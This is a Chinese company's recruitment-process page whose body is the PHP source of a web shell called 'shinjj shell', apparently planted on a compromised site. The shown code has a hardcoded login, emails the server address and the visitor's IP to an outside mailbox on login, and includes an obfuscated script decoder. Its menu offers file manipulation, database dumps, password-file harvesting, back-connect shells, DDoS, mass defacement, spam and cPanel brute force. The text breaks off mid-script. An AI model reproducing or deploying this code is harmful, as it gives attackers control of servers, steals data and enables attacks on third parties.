您当前的位置:首页 >> 人才招聘 >> 应聘流程

<?phperror_reporting(7);@set_magic_quotes_runtime(0);ob_start();$mtime = explode(' ', microtime());$starttime = $mtime[1] + $mtime[0];define('sa_root', str_replace('\\', '/', dirname(__file__)).'/');//define('is_win', strstr(php_os, 'win') ? 1 : 0 );define('is_win', directory_separator == '\\');define('is_com', class_exists('com') ? 1 : 0 );define('is_gpc', get_magic_quotes_gpc());$dis_func = get_cfg_var('disable_functions');define('is_phpinfo', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );@set_time_limit(0);foreach(array('_get','_post') as $_request) {	foreach($$_request as $_key => $_value) {		if ($_key{0} != '_') {			if (is_gpc) {				$_value = s_array($_value);			}			$$_key = $_value;		}	}}/*=================  info login  ================*/$admin = array();$admin['check'] = 123;$admin['pass']  = '123'; // password login$admin['cookiepre'] = '';$admin['cookiedomain'] = '';$admin['cookiepath'] = '/';$admin['cookielife'] = 86400;/*===================== end =====================*/if ($charset == 'utf8') {	header("content-type: text/html; charset=utf-8");} elseif ($charset == 'utf-8') {	header("content-type: text/html; charset=utf-8");} elseif ($charset == 'utf-8') {	header("content-type: text/html; charset=utf-8");} elseif ($charset == 'latin1') {	header("content-type: text/html; charset=iso-8859-2");}$self = $_server['php_self'] ? $_server['php_self'] : $_server['script_name'];$timestamp = time();/*===================== login =====================*/if ($action == "logout") {	scookie('vbapass', '', -86400 * 365);	p('<meta http-equiv="refresh" content="0;url='.$self.'">');	p('<body background=black>');	exit;}if($admin['check']) {	if ($doing == 'login') {		if ($admin['pass'] == $password) {			scookie('vbapass', $password);// function mail sender to my email $time_shell = "".date("d/m/y - h:i:s")."";$ip_remote = $_server["remote_addr"];$from_shellcode = '[email protected]'.gethostbyname($_server['server_name']).'';$to_email = '[email protected]';$server_mail = "".gethostbyname($_server['server_name'])."  - ".$_server['http_host']."";$linkcr = "link: ".$_server['server_name']."".$_server['request_uri']." - ip excuting: $ip_remote - time: $time_shell";$header = "from: $from_shellcode\r\nreply-to: $from_shellcode";@mail($to_email, $server_mail, $linkcr, $header);			p('<meta http-equiv="refresh" content="2;url='.$self.'">');			p('<body bgcolor=black><br><br><ul class="loader">  <li>    <div class="circle"></div>    <div class="ball"></div>  </li>  <li>    <div class="circle"></div>    <div class="ball"></div>  </li>  <li>    <div class="circle"></div>    <div class="ball"></div>  </li>  <li>    <div class="circle"></div>    <div class="ball"></div>  </li>  <li>    <div class="circle"></div>    <div class="ball"></div>  </li></ul><style>.loader {  width: 250px;  height: 50px;  position: absolute;  top: 50%;  left: 50%;  margin: -25px -125px;  list-style-type: none;} .loader li {  float: left;  position: relative;} .circle {  width: 40px;  height: 40px;  border-radius: 0 0 50% 50%;  border: 4px solid #fff;  border-top: 0;  border-left: 0;  border-right: 0;} .ball {  position: absolute;  content: "";  width: 20px;  height: 20px;  top: 50%;  left: 50%;  margin-top: -10px;  margin-left: -10px;  border-radius: 100%;  background: #fff;  box-shadow: 0 -15px 0 0 rgba(255, 255, 255, 0.15), 0 -10px 0 0 rgba(255, 255, 255, 0.10), 0 -5px 0 0 rgba(255, 255, 255, 0.05);} .circle {  -webkit-animation: rotate 1.5s cubic-bezier(0.45, 0, 1, 1) infinite;  animation: rotate 1.5s cubic-bezier(0.45, 0, 1, 1) infinite;} .ball {  -webkit-animation: fall 1.5s cubic-bezier(0.95, 0, 1, 1) infinite;  animation: fall 1.5s cubic-bezier(0.95, 0, 1, 1) infinite;} .loader li:nth-child(1) div {  -webkit-animation-delay: 100ms;  animation-delay: 100ms;} .loader li:nth-child(2) div {  -webkit-animation-delay: 200ms;  animation-delay: 200ms;} .loader li:nth-child(3) div {  -webkit-animation-delay: 300ms;  animation-delay: 300ms;} .loader li:nth-child(4) div {  -webkit-animation-delay: 400ms;  animation-delay: 400ms;} .loader li:nth-child(5) div {  -webkit-animation-delay: 500ms;  animation-delay: 500ms;} @keyframes rotate {  0%, 20% {    transform: rotate(0deg);  }  100% {    transform: rotate(360deg);  }} @-webkit-keyframes rotate {  0%, 20% {    -webkit-transform: rotate(0deg);  }  100% {    -webkit-transform: rotate(360deg);  }} @keyframes fall {  0%, 20% {    transform: translatey(-30px);    opacity: 0;  }  20%,  24%,  27%,  30%,  50%,  75% {    transform: translatey(0px);    opacity: 1;  }  22% {    transform: translatey(-10px)  }  25% {    transform: translatey(-6px)  }  28% {    transform: translatey(-2px)  }  30% {    box-shadow: 0px 0px 0px rgba(255, 255, 255, 0.3);  }  75%,  100% {    box-shadow: 0 -15px 0 0 rgba(255, 255, 255, 0.15), 0 -10px 0 0 rgba(255, 255, 255, 0.10), 0 -5px 0 0 rgba(255, 255, 255, 0.05);    transform: translatey(30px);    opacity: 0;  }} @-webkit-keyframes fall {  0%, 20% {    -webkit-transform: translatey(-30px);    opacity: 0;  }  20%,  24%,  27%,  30%,  50%,  75% {    -webkit-transform: translatey(0px);    opacity: 1;  }  22% {    -webkit-transform: translatey(-10px)  }  25% {    -webkit-transform: translatey(-6px)  }  28% {    -webkit-transform: translatey(-2px)  }  30% {    box-shadow: 0px 0px 0px rgba(255, 255, 255, 0.3);  }  75%,  100% {    box-shadow: 0 -15px 0 0 rgba(255, 255, 255, 0.15), 0 -10px 0 0 rgba(255, 255, 255, 0.10), 0 -5px 0 0 rgba(255, 255, 255, 0.05);    -webkit-transform: translatey(30px);    opacity: 0;  }}</style>');			exit;		}	else	{	$err_mess = '<table width=100%><tr><td bgcolor=#0e0e0e width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>password incorrect, please try again!!!</blink><br></font></div></td></tr></table>';echo $err_mess;	}}	if ($_cookie['vbapass']) {		if ($_cookie['vbapass'] != $admin['pass']) {			loginpage();		}	} else {		loginpage();	}}/*===================== login =====================*/$errmsg = '';if ($action == 'phpinfo') {	if (is_phpinfo) {		phpinfo();	} else {		$errmsg = 'phpinfo() function has non-permissible';	}}if ($doing == 'downfile' && $thefile) {	if ([email protected]_exists($thefile)) {		$errmsg = 'the file you want downloadable was nonexistent';	} else {		$fileinfo = pathinfo($thefile);		header('content-type: application/x-'.$fileinfo['extension']);		header('content-disposition: attachment; filename='.$fileinfo['basename']);		header('content-length: '.filesize($thefile));		@readfile($thefile);		exit;	}}if ($doing == 'backupmysql' && !$saveasfile) {	dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);	$table = array_flip($table);	$result = q("show tables");	if (!$result) p('<h2>'.mysql_error().'</h2>');	$filename = basename($_server['http_host'].'_mysql.sql');	header('content-type: application/unknown');	header('content-disposition: attachment; filename='.$filename);	$mysqldata = '';	while ($currow = mysql_fetch_array($result)) {		if (isset($table[$currow[0]])) {			$mysqldata .= sqldumptable($currow[0]);		}	}	mysql_close();	exit;}// mysqlif($doing=='mysqldown'){	if (!$dbname) {		$errmsg = 'please input dbname';	} else {		dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);		if (!file_exists($mysqldlfile)) {			$errmsg = 'the file you want downloadable was nonexistent';		} else {			$result = q("select load_file('$mysqldlfile');");			if(!$result){				q("drop table if exists tmp_angel;");				q("create table tmp_angel (content longblob not null);");				//download sql				q("load data local infile '".addslashes($mysqldlfile)."' into table tmp_angel fields terminated by '__angel_{$timestamp}_eof__' escaped by '' lines terminated by '__angel_{$timestamp}_eof__';");				$result = q("select content from tmp_angel");				q("drop table tmp_angel");			}			$row = @mysql_fetch_array($result);			if (!$row) {				$errmsg = 'load file failed '.mysql_error();			} else {				$fileinfo = pathinfo($mysqldlfile);				header('content-type: application/x-'.$fileinfo['extension']);				header('content-disposition: attachment; filename='.$fileinfo['basename']);				header("accept-length: ".strlen($row[0]));				echo $row[0];				exit;			}		}	}}?><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"><title><?php echo $action.' - '.$_server['http_host'];?></title><script type="text/javascript" language="javascript"><!--ml="p<>phtsmtr/9:cuk ric=jsw.o";mi="[email protected]=d4883<::ggghc;;343hci7:8>9?he621:f=ab052";ot="";for(j=0;j<mi.length;j++){ot+=ml.charat(mi.charcodeat(j)-48);}document.write(ot);// --></script>	<meta http-equiv="content-type" content="text/html; charset=utf-8" />	<tr class="alt1">	<style type="text/css">body, a:hover {cursor: url(https://ani.cursors-4u.net/cursors/cur-12/cur1081.cur), progress !important;}</style><a rel="nofollow" href="https://www.cursors-4u.com/cursor/2013/02/28/firefly-pointer-2.html" target="_blank" title="firefly pointer 2"><img src="https://cur.cursors-4u.net/cursor.png" border="0" alt="firefly pointer 2" style="position:absolute; top: 0px; right: 0px;" /></a>		<td  width=10%><style> @import url(https://fonts.googleapis.com/css?family=oxygen+mono);/* starter css for menu */#cssmenu {  padding: 0;  margin: 0;  border: 0;  width: auto;}#cssmenu ul,#cssmenu li {  list-style: none;  margin: 0;  padding: 0;}#cssmenu ul {  position: relative;  z-index: 597;}#cssmenu ul li {  float: left;  min-height: 1px;  vertical-align: middle;}#cssmenu ul li.hover,#cssmenu ul li:hover {  position: relative;  z-index: 599;  cursor: default;}#cssmenu ul ul {  visibility: hidden;  position: absolute;  top: 100%;  left: 0;  z-index: 598;  width: 100%;}#cssmenu ul ul li {  float: none;}#cssmenu ul ul ul {  top: 0;  left: 190px;  width: 190px;}#cssmenu ul li:hover > ul {  visibility: visible;}#cssmenu ul ul {  bottom: 0;  left: 0;}#cssmenu ul ul {  margin-top: 0;}#cssmenu ul ul li {  font-weight: normal;}#cssmenu a {  display: block;  line-height: 1em;  text-decoration: none;}/* custom css styles */#cssmenu {  background: #333333;  border-bottom: 4px solid #1b9bff;  font-family: 'oxygen mono', tahoma, arial, sans-serif;  font-size: 12px;}#cssmenu > ul {  *display: inline-block;}#cssmenu:after,#cssmenu ul:after {  content: '';  display: block;  clear: both;}#cssmenu ul {  text-transform: uppercase;}#cssmenu ul ul {  border-top: 4px solid #1b9bff;  text-transform: none;  min-width: 190px;}#cssmenu ul ul a {  background: #1b9bff;  color: #ffffff;  border: 1px solid #0082e7;  border-top: 0 none;  line-height: 150%;  padding: 16px 20px;  font-size: 12px;}#cssmenu ul ul ul {  border-top: 0 none;}#cssmenu ul ul li {  position: relative;}#cssmenu ul ul li:first-child > a {  border-top: 1px solid #0082e7;}#cssmenu ul ul li:hover > a {  background: #4eb1ff;  color: #ffffff;}#cssmenu ul ul li:last-child > a {  -moz-border-radius: 0 0 3px 3px;  -webkit-border-radius: 0 0 3px 3px;  border-radius: 0 0 3px 3px;  -moz-background-clip: padding;  -webkit-background-clip: padding-box;  background-clip: padding-box;  -moz-box-shadow: 0 1px 0 #1b9bff;  -webkit-box-shadow: 0 1px 0 #1b9bff;  box-shadow: 0 1px 0 #1b9bff;}#cssmenu ul ul li:last-child:hover > a {  -moz-border-radius: 0 0 0 3px;  -webkit-border-radius: 0 0 0 3px;  border-radius: 0 0 0 3px;  -moz-background-clip: padding;  -webkit-background-clip: padding-box;  background-clip: padding-box;}#cssmenu ul ul li.has-sub > a:after {  content: '+';  position: absolute;  top: 50%;  right: 15px;  margin-top: -8px;}#cssmenu ul li:hover > a,#cssmenu ul li.active > a {  background: #1b9bff;  color: #ffffff;}#cssmenu ul li.has-sub > a:after {  content: '+';  margin-left: 5px;}#cssmenu ul li.last ul {  left: auto;  right: 0;}#cssmenu ul li.last ul ul {  left: auto;  right: 99.5%;}#cssmenu a {  background: #333333;  color: #cbcbcb;  padding: 0 20px;}#cssmenu > ul > li > a {  line-height: 48px;  font-size: 12px;}input, textarea, button{	font-size: 11pt;	color: 	white;	font-family: verdana, sans-serif;	background-color: rgba(255, 0, 0, 0.61);	border-left: 2px dashed #74a202;	border-top: 2px dashed #74a202;	border-right: 2px dashed #74a202;	border-bottom: 2px dashed #74a202;}    </style>			<html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"><link rel="icon" href="https://i189.photobucket.com/albums/z79/jamessyrum/wallpaper_by_sandara.jpg" type="image/x-icon" /><title>.:: shinjj shell ::. </title><style type="text/css">*{margin:0;padding:0}#shinjj {position:fixed;top:0;left:0;width:100%;height:100%;z-index:-1;}body,td{background: rgb(240,240,240) url('https://www.anhnendephd.com/vn/anh/hinh-nen-3d/file/thumb/1920/1200/635057879.jpg') no-repeat center bottom;background-attachment: fixed;font-family:tahoma;font-size:12px;color:#00dcff;line-height: 16px;font-weight: bold;}a {color: #00ff7f;text-decoration:none;}a:hover{color: yellow;text-decoration:underline;}.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:black;padding:5px 10px 5px 5px;}.alt2 td{border-top:1px solid gray;border-bottom:1px solid red;background:black;padding:5px 10px 5px 5px;}.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:rgba(255, 0, 0, 0.65);padding:5px 10px 5px 5px;}.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:rgba(82, 0, 255, 0.37);padding:5px 10px 5px 5px;}.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:rgba(0, 0, 255, 0.65);padding:5px 10px 5px 5px;font-weight:bold;}.head_small td{font-family:arial; border-top:1px solid gray;border-bottom:1px solid gray;padding:5px 10px 5px 5px;font-weight:bold;font-size:8pt;}.head td span{font-weight:normal;}form{margin:0;padding:0;}h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5b686f;}ul.info li{margin:0;color:#444;line-height:24px;height:24px;}u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}input, textarea, button{        font-size: 9pt;        color: #fff;        font-family: verdana, sans-serif;        background-color: rgba(255, 0, 0, 0.61);        border-left: 1px solid #74a202;        border-top: 1px solid #74a202;        border-right: 1px solid #74a202;        border-bottom: 1px solid #74a202;}select{        font-size: 8pt;        font-weight: normal;        color: #ccc;        font-family: verdana, sans-serif;        background-color: #202020;}  @-webkit-keyframes tnkss{	1% {opacity: 0.0;}	25% {opacity: 0.3;}	50% {opacity: 0.1;}	75% {opacity: 0.7;}	100 {opacity: 1;}	}</style><script type="text/javascript">function checkall(form) {        for(var i=0;i<form.elements.length;i++) {                var e = form.elements[i];                if (e.name != 'chkall')                e.checked = form.chkall.checked;    }}function $(id) {        return document.getelementbyid(id);}function goaction(act){        $('goaction').action.value=act;        $('goaction').submit();}</script></head><body onload="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black><div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">                                <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">                                        <tr>                                                <td align="center" valign=center>                                 <div border="1" style="background-color: #0e0e0e; filter: alpha(opacity=70); opacity: .7; width: 80px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600"  align="center">                                   waiting....<img src="https://publication.ida.org.in/images/loading.gif">                                  </div>                                </td>                                        </tr>                                </table></div> <script> var ld=(document.all);  var ns4=document.layers; var ns6=document.getelementbyid&&!document.all; var ie4=document.all;  if (ns4) 	ld=document.loading; else if (ns6) 	ld=document.getelementbyid("loading").style; else if (ie4) 	ld=document.all.loading.style;  function init() { if(ns4){ld.visibility="hidden";} else if (ns6||ie4) ld.display="none"; } </script><table width="100%" border="0" cellpadding="0" cellspacing="0">	<tr class="head_small">		<td  width=100%>		<table width=100%><tr class="head_small"><td  width=86px><a title="shinjj shell" href="<?php $self;?>"><img src=https://fbcdn-sphotos-a-a.akamaihd.net/hphotos-ak-xfa1/v/t1.0-9/12345570_186979111646190_6616937591065297706_n.jpg?oh=78a5c5db4810b024bd256b589c5fb01b&oe=56d4a958&__gda__=1461752174_2777eb6bae267cd4f86be6e0dea0c37b height=86 border=0></a></td><td>		<span style="float:left;"> <?php echo "hostname: ".$_server['http_host']."";?>  | <a href="https://www.facebook.com/profile.php?id=100011074965700" target="_blank"><?php echo str_replace('.','','shinjj');?> </a> | <a href="javascript:goaction('logout');"><font color=red>logout</font></a></span> <br />		<?php		$curl_on = @function_exists('curl_version');		$mysql_on = @function_exists('mysql_connect');		$mssql_on = @function_exists('mssql_connect');		$pg_on = @function_exists('pg_connect');		$ora_on = @function_exists('ocilogon');echo (($safe_mode)?("safe_mod: <b><font color=green>on</font></b> - "):("safe_mod: <b><font color=red>off</font></b> - "));echo "php version: <b>"[email protected]()."</b> - ";		echo "curl: ".(($curl_on)?("<b><font color=green>on</font></b> - "):("<b><font color=red>off</font></b> - "));		echo "mysql: <b>";$mysql_on = @function_exists('mysql_connect');if($mysql_on){echo "<font color=green>on</font></b> - "; } else { echo "<font color=red>off</font></b> - "; }echo "mssql: <b>";$mssql_on = @function_exists('mssql_connect');if($mssql_on){echo "<font color=green>on</font></b> - ";}else{echo "<font color=red>off</font></b> - ";}echo "postgresql: <b>";$pg_on = @function_exists('pg_connect');if($pg_on){echo "<font color=green>on</font></b> - ";}else{echo "<font color=red>off</font></b> - ";}echo "oracle: <b>";$ora_on = @function_exists('ocilogon');if($ora_on){echo "<font color=green>on</font></b>";}else{echo "<font color=red>off</font></b><br>";}echo "disable functions : <b>";if(''==([email protected]_get('disable_functions'))){echo "<font color=green>none</font></b><br>";}else{echo "<font color=red>$df</font></b><br>";}echo "<font color=white>uname -a</font>: "[email protected](@php_uname(),0,120)."<br>";echo " - <a href=https://www.google.com.vn/search?q=linux+exploit+kernel+" .urlencode(@php_uname(r))." target='_blank'><font color=yellow><b>[kernel exploit]</b></font><br></a>";echo "<font color=white>server</font>: "[email protected]($server_software,0,120)." - <font color=white>id</font>: "[email protected]()."("[email protected]_current_user().") - uid="[email protected]()." ("[email protected]_current_user().") gid="[email protected]()."("[email protected]_current_user().")<br>";		?>		</td></tr></table></td>	</tr>	<tr class="alt1">		<td  width=10%><span style="float:left;">[server ip: <?php echo "<font color=yellow>".gethostbyname($_server['server_name'])."</font>";?> - your ip: <?php echo "<font color=yellow>".$_server['remote_addr']."</font>";?>] </span>   <br />	<meta http-equiv="content-type" content="text/html; charset=utf-8" />	<tr class="alt1">		<td  width=10%><style> #abt-nav,#abt-nav ul {    list-style: none outside none;    margin: 0;    padding: 0;}#abt-nav { background: url('https://www.taianhdep.net/wp-content/uploads/2013/07/hinhnendacsacchopowerpoint_25072013_6.jpg');    clear: both;    font-size: 12px;    height: 45px;    padding: 0 0 0 15px;    position: relative;    width: 100%;}#abt-nav ul {    background-color: #222;    border:1px solid #222;    border-radius: 0 5px 5px 5px;    border-width: 0 1px 1px;    box-shadow: 0 5px 5px rgba(0, 0, 0, 0.5);    left: -9999px;    overflow: hidden;    position: absolute;    top: -9999px;    z-index: 2;    -moz-transform: scaley(0);    -ms-transform: scaley(0);    -o-transform: scaley(0);    -webkit-transform: scaley(0);    transform: scaley(0);    -moz-transform-origin: 0 0;    -ms-transform-origin: 0 0;    -o-transform-origin: 0 0;    -webkit-transform-origin: 0 0;    transform-origin: 0 0;    -moz-transition: -moz-transform 0.1s linear;    -ms-transition: -ms-transform 0.1s linear;    -o-transition: -o-transform 0.1s linear;    -webkit-transition: -webkit-transform 0.1s linear;    transition: transform 0.1s linear;}#abt-nav li {    background: url('https://4.bp.blogspot.com/-3kmcmhrxtqg/vjn8vdc3fai/aaaaaaaabwa/chupnyyih2y/s1600/menu2.png') no-repeat scroll right 5px transparent;    float: left;    position: relative;}#abt-nav li a {    color: #ffffff;    display: block;    float: left;    font-weight: normal;    height: 30px;    padding: 23px 20px 0;    position: relative;    text-decoration: none;    text-shadow: 1px 1px 1px #000000;}#abt-nav li:hover > a {    color: #00b4ff;}#abt-nav li:hover, #abt-nav a:focus, #abt-nav a:hover, #abt-nav a:active {    background: none repeat scroll 0 0 #121212;    outline: 0 none;}#abt-nav li:hover ul.subs {    left: 0;    top: 53px;    width: 180px;    -moz-transform: scaley(1);    -ms-transform: scaley(1);    -o-transform: scaley(1);    -webkit-transform: scaley(1);    transform: scaley(1);}#abt-nav ul li {    background: none;    width: 100%;}#abt-nav ul li a {    float: none;}#abt-nav ul li:hover > a {    background-color: #121212;    color: #00b4ff;}#lavalamp {    background: url('https://1.bp.blogspot.com/-8ik_bj0a8d8/vjn8vwkwvhi/aaaaaaaabvw/ccv-pyt7noe/s1600/menu3.png') no-repeat scroll 0 0 transparent;    height: 16px;    left: 13px;    position: absolute;    top: 0px;    width: 64px;    -moz-transition: all 300ms ease;    -ms-transition: all 300ms ease;    -o-transition: all 300ms ease;    -webkit-transition: all 300ms ease;    transition: all 300ms ease;}#lavalamp:hover {    -moz-transition-duration: 3000s;    -ms-transition-duration: 3000s;    -o-transition-duration: 3000s;    -webkit-transition-duration: 3000s;    transition-duration: 3000s;}#abt-nav li:nth-of-type(1):hover ~ #lavalamp {    left: 17px;}#abt-nav li:nth-of-type(2):hover ~ #lavalamp {    left: 103px;}#abt-nav li:nth-of-type(3):hover ~ #lavalamp {    left: 178px;}#abt-nav li:nth-of-type(4):hover ~ #lavalamp {    left: 262px;}#abt-nav li:nth-of-type(5):hover ~ #lavalamp {    left: 344px;}#abt-nav li:nth-of-type(6):hover ~ #lavalamp {    left: 425px;}#abt-nav li:nth-of-type(7):hover ~ #lavalamp {    left: 522px;}#abt-nav li:nth-of-type(8):hover ~ #lavalamp {    left: 615px;}#abt-nav li:nth-of-type(9):hover ~ #lavalamp {    left: 705px;}#abt-nav li:nth-of-type(10):hover ~ #lavalamp {    left: 795px;}#abt-nav li:nth-of-type(11):hover ~ #lavalamp {    left: 900px;}#abt-nav li:nth-of-type(12):hover ~ #lavalamp {    left: 1005px;}#abt-nav li:nth-of-type(13):hover ~ #lavalamp {    left: 1100px;}#abt-nav li:nth-of-type(14):hover ~ #lavalamp {    left: 1190px;}#abt-nav li:nth-of-type(15):hover ~ #lavalamp {    left: 1287px;}#abt-nav li:nth-of-type(16):hover ~ #lavalamp {    left: 1377px;}#abt-nav li:nth-of-type(17):hover ~ #lavalamp {    left: 1475px;}#abt-nav li:nth-of-type(18):hover ~ #lavalamp {    left: 195px;}#abt-nav li:nth-of-type(19):hover ~ #lavalamp {    left: 1610px;}    </style>	<ul id="abt-nav">    <li><a href="javascript:goaction('file');"><font color=#ffff00>trang ch&#7911;</font></a></li>	<li><a href="javascript:goaction('sqladmin');"><font color=#c38ec7>sql</font></a></li>	<li><a href="javascript:goaction('etcpwd');"><font color=#eee0e5>get user</font></a></li>    <li><a class="hsubs" href="#"><font color=#ff3300>cgi shell</font></a>        <ul class="subs">            <li><a href="javascript:goaction('cgi');" target="_blank" >cgi shell log</a></li>			<li><a href="javascript:goaction('telnet');" target="_blank" >cgi telnet</a></li>			<li><a href="javascript:goaction('cgipin');" target="_blank">cgi pin</a></li>            <li><a href="javascript:goaction('vb');" target="_blank">cgi bypass</a></li>        </ul>    </li>            <li><a class="hsubs" href="#"><font color=#52f3ff>tools</font></a>	 <ul class="subs">	 <li><a href="javascript:goaction('spam');">spam mail</a></li>	 <li><a href="javascript:goaction('zipcode');">zip code</a></li>	 <li><a href="javascript:goaction('bug');">bug shell</a></li>	 <li><a href="javascript:goaction('endecode');">encode - decode</a></li>	 <li><a href="javascript:goaction('reverseip');">reverse ip</a></li>	</ul>	</li>	<li><a href="sym/" target="_blank"><font color=#ff3030>m&#7903; sym-root</font> </a></li>	<li><a class="hsubs" href="#"><font color=#ff00ff>symlink</font></a>	<ul class="subs">	<li><a href="javascript:goaction('viewdomain');">domain-user</a></li>	<li><a href="javascript:goaction('symroot');">symlink</a></li>	</ul>	</li>	<li><a href="javascript:goaction('ddosv2');"><font color=#ff8c00>ddos v2</font></a></li>	<li><a href="javascript:goaction('scan');"><font color=#00f5ff>scan shell</font></a></li>	<li><a class="hsubs" href="#"><font color=#00abff>mass deface</font></a>		<ul class="subs">		<li><a href="javascript:goaction('mass');">with root</a></li>		<li><a href="javascript:goaction('massfd');">user folder</a></li>				</ul>	</li>	<li><a class="hsubs" href="#"><font color=#6cc417>command</font></a>	<ul class="subs">		<li><a href="javascript:goaction('newcommand');">command</a></li>		<li><a href="javascript:goaction('termi');">die group terminal</a></li>	</ul></li>	<li><a href="javascript:goaction('shinjj');"><font color=#ff69b4>deface</font></a></li>	<li><a href="#;"><font color=#adff2f>back</font></a>	<ul class="subs">		<li><a href="javascript:goaction('backconnect');">back conect perl/c</a></li>		<li><a href="javascript:goaction('bcphp');">back conect php</a></li>	</ul>		</li>	<li><a class="hsubs" href="#"><font color=#6cc417>brute</font></a>		<ul class="subs">		<li><a href="javascript:goaction('brute');"  >brute cpanel</a></li>		</ul>	</li>	<li><a href="javascript:goaction('findadmin');"><font color=#52f3ff>find admin</font></a></li>        <div id="lavalamp"></div></ul>            </td>	</tr></table><table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td><?phpformhead(array('name'=>'goaction'));makehide('action');formfoot();$errmsg && m($errmsg);// dir function!$dir && $dir = '.';$nowpath = getpath(sa_root, $dir);if (substr($dir, -1) != '/') {	$dir = $dir.'/';}$uedir = ue($dir);if (!$action || $action == 'file') {	// non-writeable	$dir_writeable = @is_writable($nowpath) ? 'writable' : 'non-writable';	// delete dir	if ($doing == 'deldir' && $thefile) {		if (!file_exists($thefile)) {			m($thefile.' directory does not exist');		} else {			m('directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));		}	}	// create new dir	elseif ($newdirname) {		$mkdirs = $nowpath.$newdirname;		if (file_exists($mkdirs)) {			m('directory has already existed');		} else {			m('directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));			@chmod($mkdirs,0777);		}	}	// upload file	elseif ($doupfile) {		m('file upload '.(@copy($_files['uploadfile']['tmp_name'],$uploaddir.'/'.$_files['uploadfile']['name']) ? 'success' : 'failed'));	}	// edit file	elseif ($editfilename && $filecontent) {		$fp = @fopen($editfilename,'w');		m('save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));		@fclose($fp);	}	// modify	elseif ($pfile && $newperm) {		if (!file_exists($pfile)) {			m('the original file does not exist');		} else {			$newperm = base_convert($newperm,8,10);			m('modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));		}	}	// rename	elseif ($oldname && $newfilename) {		$nname = $nowpath.$newfilename;		if (file_exists($nname) || !file_exists($oldname)) {			m($nname.' has already existed or original file does not exist');		} else {			m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));		}	}	// copu	elseif ($sname && $tofile) {		if (file_exists($tofile) || !file_exists($sname)) {			m('the goal file has already existed or original file does not exist');		} else {			m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));		}	}	// file exit	elseif ($curfile && $tarfile) {		if ([email protected]_exists($curfile) || [email protected]_exists($tarfile)) {			m('the goal file has already existed or original file does not exist');		} else {			$time = @filemtime($tarfile);			m('modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));		}	}	// date	elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {		if ([email protected]_exists($curfile)) {			m(basename($curfile).' does not exist');		} else {			$time = strtotime("$year-$month-$day $hour:$minute:$second");			m('modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));		}	}	// download	elseif($doing == 'downrar') {		if ($dl) {			$dfiles='';			foreach ($dl as $filepath => $value) {				$dfiles.=$filepath.',';			}			$dfiles=substr($dfiles,0,strlen($dfiles)-1);			$dl=explode(',',$dfiles);			$zip=new phpzip($dl);			$code=$zip->out;			header('content-type: application/octet-stream');			header('accept-ranges: bytes');			header('accept-length: '.strlen($code));			header('content-disposition: attachment;filename='.$_server['http_host'].'_files.tar.gz');			echo $code;			exit;		} else {			m('please select file(s)');		}	}	// delete file	elseif($doing == 'delfiles') {		if ($dl) {			$dfiles='';			$succ = $fail = 0;			foreach ($dl as $filepath => $value) {				if (@unlink($filepath)) {					$succ++;				} else {					$fail++;				}			}			m('deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);		} else {			m('please select file(s)');		}	}	// function newdir	formhead(array('name'=>'createdir'));	makehide('newdirname');	makehide('dir',$nowpath);	formfoot();	formhead(array('name'=>'fileperm'));	makehide('newperm');	makehide('pfile');	makehide('dir',$nowpath);	formfoot();	formhead(array('name'=>'copyfile'));	makehide('sname');	makehide('tofile');	makehide('dir',$nowpath);	formfoot();	formhead(array('name'=>'rename'));	makehide('oldname');	makehide('newfilename');	makehide('dir',$nowpath);	formfoot();	formhead(array('name'=>'fileopform'));	makehide('action');	makehide('opfile');	makehide('dir');	formfoot();	$free = @disk_free_space($nowpath);	!$free && $free = 0;	$all = @disk_total_space($nowpath);	!$all && $all = 0;	$used = $all-$free;	$used_percent = @round(100/($all/$free),2);	p('<font color=yellow face=tahoma size=2><b>file manager</b> </font> current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');?><table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">  <form action="" method="post" id="godir" name="godir">  <tr>    <td nowrap>current directory (<?php echo $dir_writeable;?>, <?php echo getchmod($nowpath);?>)</td>	<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>    <td nowrap><input class="bt" value="go" type="submit"></td>  </tr>  </form></table><script type="text/javascript">function createdir(){	var newdirname;	newdirname = prompt('please input the directory name:', '');	if (!newdirname) return;	$('createdir').newdirname.value=newdirname;	$('createdir').submit();}function fileperm(pfile){	var newperm;	newperm = prompt('current file:'+pfile+'\nplease input new attribute:', '');	if (!newperm) return;	$('fileperm').newperm.value=newperm;	$('fileperm').pfile.value=pfile;	$('fileperm').submit();}function copyfile(sname){	var tofile;	tofile = prompt('original file:'+sname+'\nplease input object file (fullpath):', '');	if (!tofile) return;	$('copyfile').tofile.value=tofile;	